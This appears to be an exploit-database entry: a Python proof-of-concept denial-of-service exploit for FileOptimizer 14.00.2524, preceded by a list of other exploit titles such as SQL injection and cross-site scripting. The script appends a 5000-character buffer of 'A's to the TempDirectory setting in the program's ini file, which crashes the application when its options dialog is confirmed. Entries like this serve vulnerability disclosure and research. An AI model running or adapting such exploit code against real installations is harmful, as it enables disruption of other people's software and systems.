52ab59aad8
12 changes to exploits/shellcodes FileOptimizer 14.00.2524 - Denial of Service (PoC) JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common() Blue Stacks App Player 2.4.44.62.57 - _BstHdLogRotatorSvc_ Unquote Service Path Network Inventory Advisor 5.0.26.0 - 'niaservice' Unquoted Service Path thejshen Globitek CMS 1.4 - 'id' SQL Injection thrsrossi Millhouse-Project 1.414 - 'content' Persistent Cross-Site Scripting rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting html5_snmp 1.11 - 'Router_ID' SQL Injection SD.NET RIM 4.7.3c - 'idtyp' SQL Injection
29 lines
No EOL
997 B
Python
Executable file
29 lines
No EOL
997 B
Python
Executable file
# Exploit Title: FileOptimizer 14.00.2524 - Denial of Service (PoC)
|
|
# Date: 2019-11-04
|
|
# Exploit Author: Chase Hatch (SYANiDE)
|
|
# Vendor Homepage: https://sourceforge.net/projects/nikkhokkho/
|
|
# Software Link: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/14.00.2524/FileOptimizerSetup.exe/download
|
|
# Version: 14.00.2524
|
|
# Tested on: Windows 7 Ultimate x86 SP0
|
|
# CVE : none
|
|
|
|
## Steps to reproduce
|
|
## Open application for the first time so it generates "FileOptimizer32.ini" in the install directory
|
|
## Run the PoC
|
|
## Open FileOptimizer again, navigating to "Optimize" / "Options".
|
|
## Click OK to crash
|
|
|
|
#! /usr/bin/env python
|
|
import os, sys, re
|
|
|
|
test="TempDirectory=" # variable/str in config file to replace with buffer
|
|
dir = "C:\\Program Files\\FileOptimizer\\"
|
|
file = "FileOptimizer32.ini"
|
|
|
|
sploit = "A"*5000
|
|
|
|
temp = open(dir+file,'r').read()
|
|
temp2 = re.sub(test, test + sploit, temp)
|
|
with open(dir+file,'w') as F:
|
|
F.write(temp2)
|
|
F.close() |